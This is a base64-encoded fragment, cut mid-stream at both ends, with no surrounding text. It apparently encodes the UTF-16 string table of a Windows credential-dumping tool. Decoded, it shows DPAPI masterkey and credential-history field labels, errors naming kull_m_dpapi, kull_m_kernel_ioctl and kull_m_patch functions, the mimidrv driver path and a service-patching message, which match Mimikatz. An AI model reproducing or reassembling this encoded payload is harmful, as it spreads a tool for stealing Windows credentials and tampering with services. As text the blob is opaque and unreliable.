wBEAEkAUwBBAEwATABPAFcARQBEAF8ARgBJAEwARQBUAEkATQBFAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBSAE8ATwBUAF8AUABSAE8ARwBSAEEATQBfAEMASABBAEkATgBfAFAATwBMAEkAQwBJAEUAUwBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAABDAEUAUgBUAF8AUwBNAEEAUgBUAF8AQwBBAFIARABfAFIARQBBAEQARQBSAF8ATgBPAE4AXwBSAEUATQBPAFYAQQBCAEwARQBfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAEgAQQAyADUANgBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAFMARQBSAFYARQBSAF8AQwBFAFIAVABTAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBSAEEAXwBTAEkARwBOAEEAVABVAFIARQBfAEMARQBSAFQAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBSAEEAXwBFAE4AQwBSAFkAUABUAEkATwBOAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAEMARQBQAF8AQwBBAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBDAEUAUABfAFMASQBHAE4ARQBSAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBDAEUAUABfAE4ATwBOAEMARQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBFAE4AQwBSAFkAUABUAF8ASABBAFMASABfAEMATgBHAF8AQQBMAEcAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAEYATABBAEcAUwBfAFAAUgBPAFAAXwBJAEQAAABQAFIATwBWAF8AYwBuAGcAAAAAAEEAVABfAEsARQBZAEUAWABDAEgAQQBOAEcARQAAAAAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAAAAAAEMATgBHACAASwBlAHkAAABDAEUAUgBUAF8AdQBuAGsAXwBmAHUAdAB1AHIAZQBfAHUAcwBlAAAAQwBFAFIAVABfAHUAbgBrAF8ANgAzAF8AbQBhAHkAYgBlAF8AZgB1AHQAdQByAGUAXwB1AHMAZQAAAAAAQwBFAFIAVABfAHIAZQBzAGUAcgB2AGUAZABfAHAAcgBvAHAAXwBpAGQAAABDAEUAUgBUAF8AdQBzAGUAcgBfAHAAcgBvAHAAXwBpAGQAAAAlACoAcwAqACoAQgBMAE8AQgAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoAAAAKQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBEAGUAcwBjAHIAaQBwAHQAaQBvAG4ATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABzAHoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAlACoAcwAgACAAZAB3AEEAbABnAEMAcgB5AHAAdABMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBhAGwAdABMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAFMAYQBsAHQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAbQBhAGMASwBlAHkATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBIAG0AYQBjAGsASwBlAHkAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAAACUAKgBzACAAIABkAHcAQQBsAGcASABhAHMAaABMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAG0AYQBjADIASwBlAHkATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrADIASwBlAHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcARABhAHQAYQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAEQAYQB0AGEAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBnAG4ATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBTAGkAZwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAoAAAAAACUAKgBzACoAKgBNAEEAUwBUAEUAUgBLAEUAWQAqACoACgAAACUAKgBzACAAIABkAHcAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABzAGEAbAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAHIAbwB1AG4AZABzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAACUAKgBzACAAIABwAGIASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACAASQBOAEYATwAqACoACgAAACUAKgBzACAAIABnAHUAaQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoARABPAE0AQQBJAE4ASwBFAFkAKgAqAAoAAAAlACoAcwAgACAAZAB3AFMAZQBjAHIAZQB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZAB3AEEAYwBjAGUAcwBzAGMAaABlAGMAawBMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAYgBTAGUAYwByAGUAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAGIAQQBjAGMAZQBzAHMAYwBoAGUAYwBrACAAIAAgACAAOgAgAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAUwAqACoACgAAAAAAAAAAACUAKgBzACAAIABzAHoARwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAB7ACUALgAzADYAcwB9AAoAAAAAACUAKgBzACAAIABkAHcARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBNAGEAcwB0AGUAcgBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEIAYQBjAGsAdQBwAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQwByAGUAZABIAGkAcwB0AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBEAG8AbQBhAGkAbgBLAGUAeQBMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzAFsAbQBhAHMAdABlAHIAawBlAHkAXQAKAAAAJQAqAHMAWwBiAGEAYwBrAHUAcABrAGUAeQBdAAoAAAAlACoAcwBbAGMAcgBlAGQAaABpAHMAdABdAAoAAAAAACUAKgBzAFsAZABvAG0AYQBpAG4AawBlAHkAXQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAZAB3AE4AZQB4AHQATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACoAKgBDAFIARQBEAEgASQBTAFQAIABFAE4AVABSAFkAKgAqAAoAAAAAACUAKgBzACAAIABkAHcAVAB5AHAAZQAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAJQAqAHMAIAAgAHIAbwB1AG4AZABzACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAcwBpAGQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAACUAKgBzACAAIABzAGgAYQAxAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAG0AZAA0AEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAUwBhAGwAdAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAUwBpAGQAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABTAGUAYwByAGUAdAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbwBuAF8AdQBuAHAAcgBvAHQAZQBjAHQAAAAAAG8AbgBfAHAAcgBvAHQAZQBjAHQAAAAAAHIAZQBzAGUAcgB2AGUAZAAAAAAAcwB0AHIAbwBuAGcAAAAAAHIAZQBxAHUAaQByAGUAXwBzAHQAcgBvAG4AZwAAAAAAJQBzACAAOwAgAAAAdQBpAF8AZgBvAHIAYgBpAGQAZABlAG4AAAAAAHUAbgBrAG4AbwB3AG4AAABjAHIAZQBkAF8AcwB5AG4AYwAAAGEAdQBkAGkAdAAAAG4AbwBfAHIAZQBjAG8AdgBlAHIAeQAAAHYAZQByAGkAZgB5AF8AcAByAG8AdABlAGMAdABpAG8AbgAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAcwB5AHMAdABlAG0AAAAAAHAAcgBvAG0AcAB0AF8AbwBuAF8AdQBuAHAAcgBvAHQAZQBjAHQAAABwAHIAbwBtAHAAdABfAG8AbgBfAHAAcgBvAHQAZQBjAHQAAABwAHIAbwBtAHAAdABfAHMAdAByAG8AbgBnAAAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAJQAqAHMARABpAHIAZQBjAHQAbwByAHkAIAAnACUAcwAnAAAAIAAoACUAcwApAAAAXAAAACoAAAAuAAAALgAuAAAAAAAlACoAcwAlADMAdQAgACUAYwB8ACcAJQBzACcACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgADsAIABEAGUAdgBpAGMAZQBJAG8AQwBvAG4AdAByAG8AbAAgACgAMAB4ACUAMAA4AHgAKQAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAVQBuAGkAcQB1AGUATgBhAG0AZQBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAUAB1AGIAbABpAGMASwBlAHkATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AFAAdQBiAGwAaQBjAEsAZQB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAUAByAGkAdgBhAHQAZQBLAGUAeQBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBpAEUAeABwAG8AcgB0AEYAbABhAGcATABlAG4AIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgARQB4AHAAbwByAHQARgBsAGEAZwBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAFUAbgBpAHEAdQBlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBTAAoAAAAlACoAcwAgACAAcABIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFMAaQBQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUwBpAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABTAGkARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAEUAeABQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAARQB4AFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABFAHgARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQB5AF8AYwBuAGcAXwBwAHIAbwBwAGUAcgB0AGkAZQBzAF8AYwByAGUAYQB0AGUAIAAoAHAAdQBiAGwAaQBjACkACgAAAAAAJQAqAHMAKgAqAEsARQBZACAAKABjAG4AZwApACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlAC4AKgBzAAoAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAA6AAoAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwB0AHIAdQBjAHQATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAHAAUAByAG8AcABlAHIAdAB5ACAAIAAgACAAIAAgACAAOgAgAAAAJQB1ACAAZgBpAGUAbABkACgAcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AbgBlAHQAXwBnAGUAdABEAEMAIAA7ACAARABzAEcAZQB0AEQAYwBOAGEAbQBlADoAIAAlAHUACgAAAGEAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8ATwBwAGUAbgBBAG4AZABRAHUAZQByAHkAVwB